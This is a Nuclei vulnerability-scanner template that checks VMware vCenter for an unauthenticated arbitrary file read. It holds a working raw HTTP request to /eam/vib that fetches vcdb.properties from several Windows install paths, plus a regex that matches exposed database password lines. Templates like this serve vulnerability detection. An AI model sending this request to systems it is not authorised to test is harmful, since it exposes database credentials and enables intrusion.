nuclei-templates/vulnerabilities/vmware-vcenter-lfi.yaml

36 lines
1.1 KiB
YAML

id: vmware-vcenter-lfi
info:
name: VMware vCenter Unauthenticated Arbitrary File Read
author: dwisiswant0
severity: high
# Reference:-
# https://twitter.com/ptswarm/status/1316016337550938122
# https://kb.vmware.com/s/article/7960893
requests:
- payloads:
path:
- "C:\\ProgramData\\VMware\\VMware+VirtualCenter" # vCenter Server 5.5 and earlier (Windows 2008)
- "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter" # Other Windows versions
- "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx" # vCenter Server => 6.0
attack: sniper
raw:
- |
GET /eam/vib?id=path\vcdb.properties HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
Accept: */*
Accept-Language: en
Connection: close
matchers-condition: and
matchers:
- type: regex
regex:
- "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
part: body
- type: status
status:
- 200